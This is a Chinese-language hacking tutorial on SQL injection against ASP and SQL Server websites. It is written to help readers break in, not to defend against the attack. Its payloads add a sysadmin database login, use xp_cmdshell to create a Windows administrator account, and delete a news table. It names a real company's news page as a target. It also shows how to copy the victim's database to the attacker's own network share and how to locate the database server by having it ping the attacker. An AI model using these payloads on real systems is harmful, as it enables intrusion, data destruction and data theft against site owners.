對於國內外的很多新聞，BBS和電子商務網站都采用ASP+SQL設計，而寫 ASP的程序員很多（有很多剛剛畢業的），所以，ASP+SQL的攻擊成功率也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關系，也沒有相應的補丁，因為漏洞是程序員自己造成的，而且大多數講解ASP編程的書上，源代碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下後患無窮！
這種攻擊方法最早源於'or'1'='1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那麼隨之而來的便是; execsp_addlogin hax（在數據庫內添加一個hax用戶），但是這個方法的限制很大，首先ASP使用的SQL Server賬號是個管理員，其次請求的提交變量在整個SQL語句的最後，因為有一些程序員采用SELECT * FROM news WHERE id=... AND topic=... AND .....
這種方法請求數據庫，那麼如果還用以上的例子就會news.ASP? id=2;exec sp_addlogin hax變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整個SQL語句在執行sp_addlogin的存儲過程後有AND與判斷存在，語法錯誤，你的sp_addlogin自然也不能正常運行了，因此試試看下面這個方法:
ews.ASP?id=2;exec sp_addlogin hax;--
後面的--符號把sp_addlogin後的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執行！
那麼我們連一起來用吧
ews.ASP?id=2;exec master.dbo.sp_addlogin hax;--
ews.ASP?id=2;exec master.dbo.sp_passWord null,hax,hax;--
ews.ASP?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
ews.ASP?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passWordreq:yes/active:yes /add';--
ews.ASP?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
這樣，你在他的數據庫和系統內都留下了hax管理員賬號了,當然，前提條件是ASP用管理員賬號，所以虛擬空間大家就別試了，不會存在這個漏洞的。以後我們會討論，如果對方的ASP不是用SQL管理員賬號，我們如何入侵，當然也會涉及到1433端口的入侵.當然大家可以試試看在id=2後面加上一個'符號，主要看對方的ASP怎麼寫了。
再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。你如天融信的主頁，有新聞內容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變量後面用'號結束，那麼試試看http: //www.talentit.com.cn/news/news-2.ASP?newid=117';delete news;-- 哈哈，我想只要表名猜對了，新聞庫就被刪了。
通常ASP用的SQL賬號就算不是管理員也會是某個數據庫的owner,至少對於這個庫有很高的管理權限。但是我們不知道庫名該怎麼？看看db_name()函數吧。打開你的query analyzer，看看print db_name() ，呵呵，當前的數據庫名就出來了。以次類推，如下： declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';-- 呵呵，他的當前數據庫就備份到你的硬盤上了，接下來要做的大家心裡都明白了吧。同理這個方法可以找到對方的SQL的IP，先裝一個防火牆，打開ICMP和 139TCP和445TCP的警告提示，然後試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP，如果防火牆提示有人ping你，那麼因該可以肯定對方的ASP用的是SQL的管理員權限，同時也確定了對方的SQL Server的准確位置，因為很多大一點的網站考慮性能，會吧web服務和數據庫分開，當對方大上了補丁看不到源代碼時，我想只有這個方法能很快的定位對方的SQL Server的位置了。
